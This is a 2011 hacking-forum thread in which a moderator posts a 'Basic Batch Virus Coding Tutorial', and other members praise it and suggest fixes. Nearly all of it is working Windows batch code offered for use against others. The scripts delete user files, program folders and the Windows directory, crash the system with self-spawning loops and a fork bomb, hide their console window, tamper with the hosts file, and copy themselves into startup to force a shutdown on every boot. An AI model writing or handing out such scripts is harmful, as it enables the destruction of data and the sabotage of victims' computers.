Batch Beta
Please Login to get full access and to disable ads.

Thanks to awestom for removing those ads!

Staff Selections are closed! Thanks for participating!
Welcome to the new admins and mods!
About the ads, yeah. We reached our 250'th post and the ads kicked on. In order to disable them I need to purchase a ad removal feature. Now, I don't have credits and in order to get one I need donations. Thanks

You are not connected. Please login or register

Basic Batch Virus Coding Tutorial

Go down  Message [Page 1 of 1]

1 Basic Batch Virus Coding Tutorial on Thu Jan 13, 2011 7:54 am

D4rkus

avatar
Moderators
Moderators
IN THIS TUTORIAL I'M GOING TO SHOW YOU SOME BASIC BATCH DESTRUCTIVE AND ANOYING CODES

1.Swap Mouse Buttons:
@echo off
RUNDLL32 USER32.DLL,SwapMouseButton

2.Delete Firefox (or another program)
@echo off
del /f /q "C:\Program Files\Mozilla Firefox\*.*"

3.Rename mp3 files to bat files
@echo off
REN *.mp3 *.bat

4.Delete all mp3 files (or other)
@echo off
DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"

5.Task Kill
@echo off
taskkill /f /t /im firefox.exe

6.Crash Windows
@echo off
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
start "" crash.bat

7.How to hide the CMD window (it wont appear when you execute the bat)
@echo off
if exist winstart.vbs goto next
echo set objShell = CreateObject("WScript.Shell") >> winstart.vbs
echo objShell.Run "batvirus.bat", vbHide, TRUE >> winstart.vbs
start "" "winstart.vbs"
exit
:next

8.Fork Bomb
@echo off
%0|%0

9.Block a website (ex. Google)
@echo off
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"

10.Make random directories in all drives
@echo off
:A
md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto A

11.Delete Windows directory
@echo off
DELTREE /Y %windir%

12.Copy to autorun
@echo off
COPY %0 %windir%WINSTART.BAT

13.Restart PC on every startup:
@echo off
shutdown -s -t 30
copy %0 C:\Documents and Settings\All Users\Start Menu\Programs\Startup

I'll come back soon with the Intermediate and Advanced



Last edited by D4rkus on Thu Jan 13, 2011 10:38 am; edited 1 time in total

2 Re: Basic Batch Virus Coding Tutorial on Thu Jan 13, 2011 8:30 am

awestom


Admin
Admin
very good post, thanks D4rkus ( :

3 Re: Basic Batch Virus Coding Tutorial on Thu Jan 13, 2011 8:35 am

Ironside

avatar
Moderators
Moderators
Few problems in it:

13. You forgot a & between commands or a enter.

10. Would be better to use a counted Goto or a For loop.

6. Just use

@echo off
:A
start %0
goto A



That's all for now, other than that good tutorial.

http://computertech.createmybb3.com

4 Re: Basic Batch Virus Coding Tutorial on Thu Jan 13, 2011 10:40 am

D4rkus

avatar
Moderators
Moderators
Ironside wrote:Few problems in it:

13. You forgot a & between commands or a enter.

10. Would be better to use a counted Goto or a For loop.

6. Just use

@echo off
:A
start %0
goto A



That's all for now, other than that good tutorial.

Thanx for the corrections Very Happy


_________________

5 Re: Basic Batch Virus Coding Tutorial on Thu Jan 13, 2011 11:51 am

Ironside

avatar
Moderators
Moderators
No problem, glad to help.

http://computertech.createmybb3.com

Sponsored content


Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum